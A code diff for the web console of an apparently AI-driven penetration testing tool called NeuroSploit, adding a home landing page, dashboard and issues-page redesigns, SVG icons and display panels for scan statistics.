<div class="at-stat"><span class="at-stat-k">With findings</span><span class="at-stat-v" style="color:var(--sev-high-fg)">${withFindings}</span></div>
|
||||
<div class="at-stat"><span class="at-stat-k">Clean</span><span class="at-stat-v" style="color:var(--sev-info-fg)">${tested - withFindings}</span></div>
|
||||
`;
|
||||
}
|
||||
const render = () => {
|
||||
const q = (search?.value || '').toLowerCase();
|
||||
let rows = [...endpoints.values()];
|
||||
if (q) rows = rows.filter(e => `${e.method} ${e.path}`.toLowerCase().includes(q));
|
||||
rows.sort((a, b) => b.findings.length - a.findings.length || a.path.localeCompare(b.path));
|
||||
list.innerHTML = rows.map(e => {
|
||||
const badge = e.findings.length ? 'found' : 'tested';
|
||||
const statusCls = e.status >= 500 ? 's-5' : e.status >= 400 ? 's-4' : e.status >= 300 ? 's-3' : e.status >= 200 ? 's-2' : '';
|
||||
return `<div class="cv-row">
|
||||
<span class="cv-method m-${e.method.toLowerCase()}">${esc(e.method)}</span>
|
||||
<span class="cv-path">${esc(e.path)}</span>
|
||||
${e.status ? `<span class="cv-status-code ${statusCls}">${e.status}</span>` : ''}
|
||||
<span class="cv-status-badge ${badge}">${e.findings.length ? `${e.findings.length} finding(s)` : 'tested'}</span>
|
||||
</div>`;
|
||||
}).join('');
|
||||
};
|
||||
render();
|
||||
if (search) search.oninput = render;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Auth & Keys modal
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -2056,7 +2337,8 @@ function termEnsure() {
|
||||
}
|
||||
term.xterm = new Terminal({
|
||||
fontFamily: getComputedStyle(document.documentElement).getPropertyValue('--mono').trim() || 'monospace',
|
||||
fontSize: 12,
|
||||
fontSize: 13,
|
||||
lineHeight: 1.3,
|
||||
cursorBlink: true,
|
||||
convertEol: true, // the harness writes bare \n; without this every line stair-steps
|
||||
scrollback: 8000,
|
||||
@@ -2075,6 +2357,10 @@ function termEnsure() {
|
||||
term.ro.observe($('#termHost'));
|
||||
}
|
||||
window.addEventListener('resize', termFit);
|
||||
// Cell width is measured from the font; re-fit once it has actually loaded so
|
||||
// the last column is not clipped by a stale measurement.
|
||||
if (document.fonts?.ready) document.fonts.ready.then(() => termFit());
|
||||
setTimeout(termFit, 150);
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -2544,28 +2830,42 @@ async function renderDashboard() {
|
||||
const maxSev = Math.max(1, ...Object.values(sevCounts));
|
||||
const maxCwe = Math.max(1, ...topCwe.map(([, n]) => n));
|
||||
|
||||
const hour = new Date().getHours();
|
||||
const greeting = hour < 12 ? 'Good morning' : hour < 18 ? 'Good afternoon' : 'Good evening';
|
||||
|
||||
body.innerHTML = `
|
||||
<div class="dash-greeting">${greeting}
|
||||
<div class="dash-greeting-sub">Here's your security posture overview</div>
|
||||
</div>
|
||||
<div class="stat-row">
|
||||
<div class="stat-tile stat-score sev-${band.cls}">
|
||||
<div class="stat-k">Security score</div>
|
||||
<div class="score-ring-wrap">
|
||||
<svg class="score-ring" viewBox="0 0 80 80">
|
||||
<circle cx="40" cy="40" r="34" fill="none" stroke="var(--border)" stroke-width="6"/>
|
||||
<circle cx="40" cy="40" r="34" fill="none" stroke="currentColor" stroke-width="6"
|
||||
stroke-dasharray="${Math.round(213.6 * score / 100)} 214"
|
||||
stroke-linecap="round" transform="rotate(-90 40 40)"/>
|
||||
</svg>
|
||||
<div class="score-ring-value">${score}</div>
|
||||
</div>
|
||||
<div class="stat-sub">${esc(band.label)}</div>
|
||||
</div>
|
||||
<div class="stat-tile">
|
||||
<div class="stat-k">Open issues</div>
|
||||
<div class="stat-v">${findings.length}</div>
|
||||
<div class="stat-sub">${needsReview} awaiting review</div>
|
||||
</div>
|
||||
<div class="stat-tile">
|
||||
<div class="stat-k">Engagements</div>
|
||||
<div class="stat-v">${runs.length}</div>
|
||||
<div class="stat-sub">${targets.size} distinct target(s)</div>
|
||||
</div>
|
||||
<div class="stat-tile">
|
||||
<div class="stat-k">Findings</div>
|
||||
<div class="stat-v">${findings.length}</div>
|
||||
<div class="stat-sub">${needsReview} awaiting human review</div>
|
||||
</div>
|
||||
<div class="stat-tile">
|
||||
<div class="stat-k">Agents run</div>
|
||||
<div class="stat-v">${runs.reduce((a, r) => a + (r.agentsRan || 0), 0).toLocaleString('en-US')}</div>
|
||||
<div class="stat-sub">across ${runs.length} run(s)</div>
|
||||
</div>
|
||||
<div class="stat-tile stat-score sev-${band.cls}">
|
||||
<div class="stat-k">Exposure score</div>
|
||||
<div class="stat-v">${score}<span class="stat-unit">/100</span></div>
|
||||
<div class="stat-sub">${esc(band.label)}</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="dash-grid">
|
||||
@@ -2724,6 +3024,48 @@ function openFairParams(params) {
|
||||
body.scrollTop = body.scrollTop; // keep the page anchored while the modal opens
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Home landing — quick-start cards + recent runs
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
async function renderHome() {
|
||||
const recent = $('#homeRecent');
|
||||
if (!recent) return;
|
||||
try {
|
||||
const runs = await api('/api/runs');
|
||||
const last5 = (runs || []).slice(0, 5);
|
||||
if (!last5.length) { recent.innerHTML = ''; return; }
|
||||
recent.innerHTML = `
|
||||
<div class="home-recent-title">Recent engagements</div>
|
||||
<div class="home-recent-list">
|
||||
${last5.map(r => `<button class="home-recent-item" data-id="${esc(r.id)}">
|
||||
<span class="run-dot" style="background:${r.state === 'running' ? 'var(--accent)' : 'var(--sev-low-fg)'}"></span>
|
||||
<span class="home-recent-name">${esc(r.name || r.target || r.id)}</span>
|
||||
<span class="home-recent-target">${esc(r.target || '')}</span>
|
||||
<span class="home-recent-time">${esc(r.when ? timeAgo(Math.floor(new Date(r.when).getTime() / 1000)) : '')}</span>
|
||||
</button>`).join('')}
|
||||
</div>`;
|
||||
$$('.home-recent-item', recent).forEach(btn => {
|
||||
btn.addEventListener('click', () => {
|
||||
const run = (runs || []).find(r => r.id === btn.dataset.id);
|
||||
if (run) openRun(run);
|
||||
});
|
||||
});
|
||||
} catch { recent.innerHTML = ''; }
|
||||
}
|
||||
|
||||
// Home card click handlers — select mode and go to wizard
|
||||
$$('.home-card').forEach(card => {
|
||||
card.addEventListener('click', () => {
|
||||
const mode = card.dataset.mode;
|
||||
leaveLiveJob();
|
||||
clearInterval(state.detailPoll);
|
||||
switchView('wizard');
|
||||
if (mode) selectMode(mode);
|
||||
goToStep(0);
|
||||
});
|
||||
});
|
||||
|
||||
function showDashboard() {
|
||||
leaveLiveJob();
|
||||
clearInterval(state.detailPoll);
|
||||
@@ -2743,6 +3085,19 @@ $('#btnDashRefresh')?.addEventListener('click', renderDashboard);
|
||||
$('#dashRange')?.addEventListener('change', renderDashboard);
|
||||
$('#runFilter')?.addEventListener('input', (e) => { state.runFilter = e.target.value; renderSidebar(); });
|
||||
|
||||
// ⌘K / Ctrl+K — focus the sidebar search
|
||||
document.addEventListener('keydown', (e) => {
|
||||
if ((e.metaKey || e.ctrlKey) && e.key === 'k') {
|
||||
e.preventDefault();
|
||||
const input = $('#runFilter');
|
||||
if (input) { input.focus(); input.select(); }
|
||||
const sidebar = $('#sidebar');
|
||||
if (sidebar && !sidebar.classList.contains('open') && window.matchMedia('(max-width: 900px)').matches) {
|
||||
setSidebar(true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// boot
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -2769,7 +3124,7 @@ window.matchMedia(NARROW).addEventListener('change', (m) => { if (!m.matches) se
|
||||
|
||||
async function boot() {
|
||||
applyTheme();
|
||||
switchView('dash');
|
||||
switchView('home');
|
||||
selectMode('run');
|
||||
goToStep(0);
|
||||
renderCustomLeads();
|
||||
@@ -2919,14 +3274,14 @@ function extrasPanelsHtml(uid) {
|
||||
<div class="run-tab-panel" data-tabpanel="traffic" hidden>
|
||||
<div class="panel-toolbar">
|
||||
<input type="text" placeholder="host…" class="input-sm" data-x="t-host" list="${uid}-hosts" /><datalist id="${uid}-hosts" data-x="t-hosts"></datalist>
|
||||
<div class="search-wrap"><span class="search-icon" aria-hidden="true">⌕</span><input type="text" placeholder="Search URL / method / status / type" data-x="t-q" /></div>
|
||||
<div class="search-wrap"><span class="search-icon" aria-hidden="true"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="11" cy="11" r="6.5"/><path d="m20 20-4.2-4.2"/></svg></span><input type="text" placeholder="Search URL / method / status / type" data-x="t-q" /></div>
|
||||
<select class="input-sm" data-x="t-method"><option value="">all methods</option><option>GET</option><option>POST</option><option>PUT</option><option>PATCH</option><option>DELETE</option><option>CONNECT</option></select>
|
||||
<div class="topbar-spacer"></div><span class="muted" data-x="t-count"></span></div>
|
||||
<div class="table-wrap"><table class="data-table"><thead><tr><th>Time</th><th>Host</th><th>Method</th><th>URL</th><th>Status</th><th>Type</th><th class="col-conf">Size</th></tr></thead><tbody data-x="t-body"></tbody></table></div>
|
||||
<div class="empty-state" data-x="t-empty" hidden>No recorded traffic. The recording interceptor runs with <code>--intercept own</code>; findings are still wire-checked by the harness's own replay.</div>
|
||||
</div>
|
||||
<div class="run-tab-panel" data-tabpanel="traces" hidden>
|
||||
<div class="panel-toolbar"><div class="search-wrap"><span class="search-icon" aria-hidden="true">⌕</span><input type="text" placeholder="Search every agent's trace (error, parameter, version…)" data-x="tr-q" /></div>
|
||||
<div class="panel-toolbar"><div class="search-wrap"><span class="search-icon" aria-hidden="true"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="11" cy="11" r="6.5"/><path d="m20 20-4.2-4.2"/></svg></span><input type="text" placeholder="Search every agent's trace (error, parameter, version…)" data-x="tr-q" /></div>
|
||||
<div class="topbar-spacer"></div><span class="muted" data-x="tr-note"></span></div>
|
||||
<div class="trace-layout"><ul class="trace-files" data-x="tr-files"></ul><div class="trace-hits" data-x="tr-hits"></div></div>
|
||||
<div class="empty-state" data-x="tr-empty" hidden>No agent traces yet.</div>
|
||||
@@ -3680,18 +4035,59 @@ async function loadPrReviews() {
|
||||
}
|
||||
|
||||
async function loadIssues() {
|
||||
const body = $('#issuesBody');
|
||||
if (!body) return;
|
||||
const tableBody = $('#issuesTableBody');
|
||||
if (!tableBody) return;
|
||||
try {
|
||||
const data = await api('/api/issues');
|
||||
if (!data.length) { body.innerHTML = '<div class="empty-state">No findings across any engagement yet.</div>'; return; }
|
||||
if (!data.length) {
|
||||
const counters = $('#issuesSevCounters'); if (counters) counters.hidden = true;
|
||||
const tabs = $('#issuesStatusTabs'); if (tabs) tabs.hidden = true;
|
||||
const bar = tableBody.closest('.page-body')?.querySelector('.issues-filter-bar'); if (bar) bar.hidden = true;
|
||||
tableBody.innerHTML = '<div class="empty-state">No findings across any engagement yet.</div>';
|
||||
return;
|
||||
}
|
||||
|
||||
// Severity counters
|
||||
const sevTotals = { critical: 0, high: 0, medium: 0, low: 0 };
|
||||
for (const f of data) {
|
||||
const s = (f.severity || '').toLowerCase();
|
||||
if (s.includes('crit')) sevTotals.critical++;
|
||||
else if (s.includes('high')) sevTotals.high++;
|
||||
else if (s.includes('med')) sevTotals.medium++;
|
||||
else if (s.includes('low')) sevTotals.low++;
|
||||
}
|
||||
const countersEl = $('#issuesSevCounters');
|
||||
if (countersEl) {
|
||||
countersEl.innerHTML = ['critical','high','medium','low'].map(s =>
|
||||
`<div class="issues-sev-item"><div class="issues-sev-label"><span class="issues-sev-dot dot-${s}"></span>${s}</div><div class="issues-sev-value">${sevTotals[s]}</div></div>`
|
||||
).join('');
|
||||
}
|
||||
|
||||
// Status counts
|
||||
const statusCounts = { '': data.length, open: 0, 'in-progress': 0, fixed: 0, ignored: 0 };
|
||||
for (const f of data) {
|
||||
const st = (f.status || 'open').toLowerCase();
|
||||
if (st === 'in-progress' || st === 'in_progress') statusCounts['in-progress']++;
|
||||
else if (statusCounts[st] !== undefined) statusCounts[st]++;
|
||||
else statusCounts.open++;
|
||||
}
|
||||
const countAll = $('#issuesCountAll'); if (countAll) countAll.textContent = statusCounts[''];
|
||||
const countOpen = $('#issuesCountOpen'); if (countOpen) countOpen.textContent = statusCounts.open;
|
||||
const countProgress = $('#issuesCountProgress'); if (countProgress) countProgress.textContent = statusCounts['in-progress'];
|
||||
const countFixed = $('#issuesCountFixed'); if (countFixed) countFixed.textContent = statusCounts.fixed;
|
||||
const countIgnored = $('#issuesCountIgnored'); if (countIgnored) countIgnored.textContent = statusCounts.ignored;
|
||||
|
||||
let activeStatus = '';
|
||||
|
||||
const renderRows = () => {
|
||||
const q = ($('#issuesSearch')?.value || '').trim().toLowerCase();
|
||||
const sevFilter = ($('#issuesSevFilter')?.value || '').toLowerCase();
|
||||
const statusFilter = ($('#issuesStatusFilter')?.value || '').toLowerCase();
|
||||
const filtered = data.filter(f => {
|
||||
if (sevFilter && (f.severity || '').toLowerCase() !== sevFilter) return false;
|
||||
if (statusFilter && (f.status || 'open').toLowerCase() !== statusFilter) return false;
|
||||
if (activeStatus) {
|
||||
const st = (f.status || 'open').toLowerCase().replace('_', '-');
|
||||
if (st !== activeStatus) return false;
|
||||
}
|
||||
if (q) {
|
||||
const blob = `${f.title || ''} ${f.target || ''} ${f.cwe || ''} ${f.run || ''} ${f.severity || ''} ${f.agent || ''}`.toLowerCase();
|
||||
if (!blob.includes(q)) return false;
|
||||
@@ -3700,12 +4096,13 @@ async function loadIssues() {
|
||||
});
|
||||
const rows = filtered.map(f => {
|
||||
const sc = sevClass(f.severity);
|
||||
return `<tr class="issue-row" data-run="${esc(f.run || '')}" data-title="${esc(f.title || '')}" data-cwe="${esc(f.cwe || '')}" style="cursor:pointer"><td><span class="sev ${sc}">${esc(f.severity)}</span></td><td>${esc(f.title)}</td><td class="mono">${esc(f.target || '')}</td><td class="mono">${esc(f.run || '')}</td><td>${esc(f.status || 'open')}</td></tr>`;
|
||||
const epSub = f.endpoint ? `<div class="issue-endpoint-sub">${esc(f.endpoint)}</div>` : '';
|
||||
return `<tr class="issue-row" data-run="${esc(f.run || '')}" data-title="${esc(f.title || '')}" data-cwe="${esc(f.cwe || '')}" style="cursor:pointer"><td><span class="sev ${sc}">${esc(f.severity)}</span></td><td><div class="issue-title-cell"><span class="issue-title-main">${esc(f.title)}</span>${epSub}</div></td><td class="mono col-endpoint">${esc(f.target || '')}</td><td class="mono">${esc(f.cwe || '')}</td><td>${esc(f.status || 'open')}</td></tr>`;
|
||||
}).join('');
|
||||
body.innerHTML = rows
|
||||
? `<table class="data-table"><thead><tr><th>Severity</th><th>Title</th><th>Target</th><th>Run</th><th>Status</th></tr></thead><tbody>${rows}</tbody></table>`
|
||||
tableBody.innerHTML = rows
|
||||
? `<div class="table-wrap"><table class="data-table"><thead><tr><th>Severity</th><th>Issue</th><th>Target</th><th>CWE</th><th>Status</th></tr></thead><tbody>${rows}</tbody></table></div>`
|
||||
: '<div class="empty-state">No issues matching current filters.</div>';
|
||||
$$('.issue-row', body).forEach(row => {
|
||||
$$('.issue-row', tableBody).forEach(row => {
|
||||
row.addEventListener('click', () => {
|
||||
const runId = row.dataset.run;
|
||||
if (!runId) return;
|
||||
@@ -3714,13 +4111,22 @@ async function loadIssues() {
|
||||
});
|
||||
};
|
||||
renderRows();
|
||||
|
||||
// Status tab clicks
|
||||
$$('.issues-status-tab').forEach(tab => {
|
||||
tab.addEventListener('click', () => {
|
||||
$$('.issues-status-tab').forEach(t => t.classList.remove('active'));
|
||||
tab.classList.add('active');
|
||||
activeStatus = tab.dataset.status || '';
|
||||
renderRows();
|
||||
});
|
||||
});
|
||||
|
||||
const searchInput = $('#issuesSearch');
|
||||
if (searchInput) searchInput.oninput = renderRows;
|
||||
const sevSelect = $('#issuesSevFilter');
|
||||
if (sevSelect) sevSelect.onchange = renderRows;
|
||||
const statusSelect = $('#issuesStatusFilter');
|
||||
if (statusSelect) statusSelect.onchange = renderRows;
|
||||
} catch (e) { body.innerHTML = `<div class="empty-state">Failed to load: ${esc(e.message)}</div>`; }
|
||||
} catch (e) { tableBody.innerHTML = `<div class="empty-state">Failed to load: ${esc(e.message)}</div>`; }
|
||||
}
|
||||
|
||||
async function loadRepos() {
|
||||
@@ -4216,3 +4622,46 @@ document.addEventListener('keydown', (e) => {
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// ── Adaptive Intelligence tab handlers ──
|
||||
function updateAdaptiveTab(data) {
|
||||
const dot = $('#adaptiveTabDot');
|
||||
if (dot) dot.style.background = 'var(--accent)';
|
||||
show($('#adaptiveEmpty'), false);
|
||||
if (data.stack) {
|
||||
const el = $('#adaptiveStack');
|
||||
if (el) el.innerHTML = `<code>${esc(data.stack.server || '?')}</code> / <code>${esc(data.stack.framework || '?')}</code> / <code>${esc(data.stack.language || '?')}</code> / DB: <code>${esc(data.stack.database || '?')}</code>`;
|
||||
}
|
||||
if (data.waf) {
|
||||
const el = $('#adaptiveWaf');
|
||||
if (el) el.innerHTML = `Vendor: <code>${esc(data.waf.vendor || 'unknown')}</code> | Block status: <code>${data.waf.block_status || '?'}</code>${data.waf.blocked_keywords?.length ? ` | Blocked: ${data.waf.blocked_keywords.map(k => `<code>${esc(k)}</code>`).join(', ')}` : ''}${data.waf.allowed_encodings?.length ? ` | Bypass: ${data.waf.allowed_encodings.map(e => `<code>${esc(e)}</code>`).join(', ')}` : ''}`;
|
||||
}
|
||||
if (data.payloads !== undefined) { const el = $('#adaptPayloads'); if (el) el.textContent = data.payloads; }
|
||||
if (data.triggered !== undefined) { const el = $('#adaptTriggered'); if (el) el.textContent = data.triggered; }
|
||||
if (data.blocked !== undefined) { const el = $('#adaptBlocked'); if (el) el.textContent = data.blocked; }
|
||||
}
|
||||
|
||||
function updateGraphTab(data) {
|
||||
show($('#adaptiveEmpty'), false);
|
||||
if (data.assets !== undefined) { const el = $('#graphAssets'); if (el) el.textContent = data.assets; }
|
||||
if (data.explored !== undefined) { const el = $('#graphExplored'); if (el) el.textContent = data.explored; }
|
||||
if (data.findings !== undefined) { const el = $('#graphFindings'); if (el) el.textContent = data.findings; }
|
||||
if (data.coverage !== undefined) { const el = $('#graphCoverage'); if (el) el.textContent = `${Math.round(data.coverage * 100)}%`; }
|
||||
if (data.hints !== undefined) { const el = $('#graphHints'); if (el) el.textContent = data.hints; }
|
||||
}
|
||||
|
||||
function updatePlannerTab(data) {
|
||||
show($('#adaptiveEmpty'), false);
|
||||
if (data.queued !== undefined) { const el = $('#planQueued'); if (el) el.textContent = data.queued; }
|
||||
if (data.running !== undefined) { const el = $('#planRunning'); if (el) el.textContent = data.running; }
|
||||
if (data.done !== undefined) { const el = $('#planDone'); if (el) el.textContent = data.done; }
|
||||
if (data.failed !== undefined) { const el = $('#planFailed'); if (el) el.textContent = data.failed; }
|
||||
}
|
||||
|
||||
function updateNoiseTab(data) {
|
||||
show($('#adaptiveEmpty'), false);
|
||||
if (data.requests !== undefined) { const el = $('#noiseRequests'); if (el) el.textContent = data.requests; }
|
||||
if (data.cached !== undefined) { const el = $('#noiseCached'); if (el) el.textContent = data.cached; }
|
||||
if (data.throttled !== undefined) { const el = $('#noiseThrottled'); if (el) el.textContent = data.throttled; }
|
||||
if (data.blocked !== undefined) { const el = $('#noiseBlocked'); if (el) el.textContent = data.blocked; }
|
||||
}
|
||||
+204
-70
@@ -3,14 +3,14 @@
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>NeuroSploit v4.4.0 — Console</title>
|
||||
<title>NeuroSploit v4.4.1 — Console</title>
|
||||
<link rel="icon" type="image/svg+xml" href="logo.svg">
|
||||
<link rel="stylesheet" href="/vendor/xterm.css" />
|
||||
<link rel="stylesheet" href="/style.css" />
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<button class="sidebar-toggle" id="btnSidebarToggle" title="Show / hide run history" aria-label="Show or hide run history" aria-expanded="false" aria-controls="sidebar">☰</button>
|
||||
<button class="sidebar-toggle" id="btnSidebarToggle" title="Show / hide run history" aria-label="Show or hide run history" aria-expanded="false" aria-controls="sidebar"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 7h16M4 12h16M4 17h16"/></svg></button>
|
||||
<div class="sidebar-scrim" id="sidebarScrim" hidden></div>
|
||||
|
||||
<div class="app">
|
||||
@@ -32,46 +32,67 @@
|
||||
</svg>
|
||||
NeuroSploit
|
||||
</div>
|
||||
<button class="icon-btn" id="btnThemeToggle" title="Toggle light / dark theme">☾</button>
|
||||
<button class="icon-btn" id="btnThemeToggle" title="Toggle light / dark theme" aria-label="Toggle light / dark theme"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M20 14.5A8 8 0 0 1 9.5 4a8 8 0 1 0 10.5 10.5z"/></svg></button>
|
||||
</div>
|
||||
|
||||
<button class="sb-new" id="btnNewEngagement">+ New Pentest</button>
|
||||
<button class="sb-new" id="btnNewEngagement"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M12 5v14M5 12h14"/></svg> New pentest</button>
|
||||
|
||||
<nav class="sb-nav" id="sbNav">
|
||||
<button class="sb-nav-item active" data-view="dash"><span class="sb-nav-icon">▤</span> Dashboard</button>
|
||||
<button class="sb-nav-item" data-view="pentests"><span class="sb-nav-icon">⊞</span> Pentests</button>
|
||||
<button class="sb-nav-item" data-view="prreviews"><span class="sb-nav-icon">⎇</span> PR Reviews</button>
|
||||
<button class="sb-nav-item" data-view="issues"><span class="sb-nav-icon">⚑</span> Issues</button>
|
||||
<button class="sb-nav-item" data-view="home"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M3 11.5 12 4l9 7.5"/><path d="M5 10v9a1 1 0 0 0 1 1h4v-5h4v5h4a1 1 0 0 0 1-1v-9"/></svg></span> Home</button>
|
||||
<button class="sb-nav-item" data-view="dash"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 20V11M10 20V4M16 20v-6M21 20H3"/></svg></span> Dashboard</button>
|
||||
<button class="sb-nav-item" data-view="pentests"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="12" cy="12" r="7.5"/><path d="M12 2.5v4M12 17.5v4M2.5 12h4M17.5 12h4"/></svg></span> Pentests</button>
|
||||
<button class="sb-nav-item" data-view="prreviews"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="6" cy="5.5" r="2"/><circle cx="6" cy="18.5" r="2"/><circle cx="18" cy="8" r="2"/><path d="M6 7.5v9M18 10c0 4-6 3-11 7"/></svg></span> PR Reviews</button>
|
||||
<button class="sb-nav-item" data-view="issues"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M5 21V4M5 4.5h12l-2.2 3.5L17 11.5H5"/></svg></span> Issues</button>
|
||||
<div class="sb-nav-separator"></div>
|
||||
<button class="sb-nav-item" data-view="repos"><span class="sb-nav-icon">◎</span> Repositories</button>
|
||||
<button class="sb-nav-item" data-view="domains"><span class="sb-nav-icon">◇</span> Domains</button>
|
||||
<button class="sb-nav-item" data-view="networks"><span class="sb-nav-icon">⬡</span> Networks</button>
|
||||
<button class="sb-nav-item" data-view="repos"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M3.5 7a2 2 0 0 1 2-2H10l2 2h6.5a2 2 0 0 1 2 2v8.5a2 2 0 0 1-2 2h-13a2 2 0 0 1-2-2z"/></svg></span> Repositories</button>
|
||||
<button class="sb-nav-item" data-view="domains"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="12" cy="12" r="8.5"/><path d="M3.5 12h17M12 3.5c3 2.6 3 14.4 0 17M12 3.5c-3 2.6-3 14.4 0 17"/></svg></span> Domains</button>
|
||||
<button class="sb-nav-item" data-view="networks"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="12" cy="5.5" r="2"/><circle cx="5.5" cy="18.5" r="2"/><circle cx="18.5" cy="18.5" r="2"/><path d="M12 7.5v4M12 11.5l-5.2 5.4M12 11.5l5.2 5.4"/></svg></span> Networks</button>
|
||||
<div class="sb-nav-separator"></div>
|
||||
<button class="sb-nav-item" data-view="vault"><span class="sb-nav-icon">🔑</span> Vault</button>
|
||||
<button class="sb-nav-item" data-view="guardrails"><span class="sb-nav-icon">⛨</span> Guardrails</button>
|
||||
<button class="sb-nav-item" data-view="vault"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="8" cy="15" r="3.8"/><path d="m10.7 12.3 8.8-8.8M16 7l3 3M13.5 9.5l2 2"/></svg></span> Vault</button>
|
||||
<button class="sb-nav-item" data-view="guardrails"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M12 3.2 19.5 6v5.6c0 4.4-3.1 7.5-7.5 9.2-4.4-1.7-7.5-4.8-7.5-9.2V6z"/><path d="m9 12 2.2 2.2L15.2 10"/></svg></span> Guardrails</button>
|
||||
<div class="sb-nav-separator"></div>
|
||||
<button class="sb-nav-item" id="sbTerminal"><span class="sb-nav-icon">❭_</span> Terminal</button>
|
||||
<button class="sb-nav-item" data-view="integrations"><span class="sb-nav-icon">⚙</span> Integrations</button>
|
||||
<button class="sb-nav-item" data-view="settings"><span class="sb-nav-icon">☰</span> Settings</button>
|
||||
<button class="sb-nav-item" id="sbTerminal"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="m5 7 5 5-5 5M12.5 18H19"/></svg></span> Terminal</button>
|
||||
<button class="sb-nav-item" data-view="integrations"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M9 3v5M15 3v5M6.5 8h11v3.5a5.5 5.5 0 0 1-11 0zM12 17v4"/></svg></span> Integrations</button>
|
||||
<button class="sb-nav-item" data-view="settings"><span class="sb-nav-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 7h9M17 7h3M4 12h3M11 12h9M4 17h11M19 17h1"/><circle cx="15" cy="7" r="2"/><circle cx="9" cy="12" r="2"/><circle cx="17" cy="17" r="2"/></svg></span> Settings</button>
|
||||
</nav>
|
||||
|
||||
<div class="sb-run-history" id="sbRunHistory">
|
||||
<div class="sb-search">
|
||||
<span class="search-icon" aria-hidden="true">⌕</span>
|
||||
<input id="runFilter" type="text" autocomplete="off" placeholder="Filter runs" aria-label="Filter runs" />
|
||||
<span class="search-icon" aria-hidden="true"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="11" cy="11" r="6.5"/><path d="m20 20-4.2-4.2"/></svg></span>
|
||||
<input id="runFilter" type="text" autocomplete="off" placeholder="Filter engagements" aria-label="Filter runs" />
|
||||
<span class="search-shortcut">⌘K</span>
|
||||
</div>
|
||||
|
||||
<div class="sb-groups" id="sbGroups"><!-- populated by app.js --></div>
|
||||
</div>
|
||||
|
||||
<div class="sb-bottom">
|
||||
<span class="sb-version" id="sbVersion">v4.4.0</span>
|
||||
<span class="sb-version" id="sbVersion">v4.4.1</span>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
<!-- ============ MAIN ============ -->
|
||||
<main class="main">
|
||||
|
||||
<!-- ============ HOME ============ -->
|
||||
<section class="page-view" id="homeView" hidden>
|
||||
<div class="home-landing">
|
||||
<div class="home-hero">
|
||||
<h1 class="home-title">What do you want to test?</h1>
|
||||
<p class="home-sub">Start a new engagement or pick a suggestion below</p>
|
||||
</div>
|
||||
<div class="home-suggestions">
|
||||
<button class="home-card" data-mode="run"><span class="home-card-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><circle cx="12" cy="12" r="7.5"/><path d="M12 2.5v4M12 17.5v4M2.5 12h4M17.5 12h4"/></svg></span><span class="home-card-title">Black-box pentest</span><span class="home-card-desc">Test a live web application from the outside</span></button>
|
||||
<button class="home-card" data-mode="whitebox"><span class="home-card-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="m8 8-4 4 4 4M16 8l4 4-4 4M13.5 5.5l-3 13"/></svg></span><span class="home-card-title">Code review</span><span class="home-card-desc">Deep SAST analysis of source code</span></button>
|
||||
<button class="home-card" data-mode="greybox"><span class="home-card-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="m12 3.5 8.5 4.7-8.5 4.8-8.5-4.8z"/><path d="m3.5 12.5 8.5 4.8 8.5-4.8"/></svg></span><span class="home-card-title">Grey-box test</span><span class="home-card-desc">URL + source code together</span></button>
|
||||
<button class="home-card" data-mode="host"><span class="home-card-icon"><svg class="ico" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><rect x="3.5" y="4" width="17" height="6" rx="1.5"/><rect x="3.5" y="14" width="17" height="6" rx="1.5"/><path d="M7 7h.01M7 17h.01"/></svg></span><span class="home-card-title">Infrastructure</span><span class="home-card-desc">Host, network, and AD testing</span></button>
|
||||
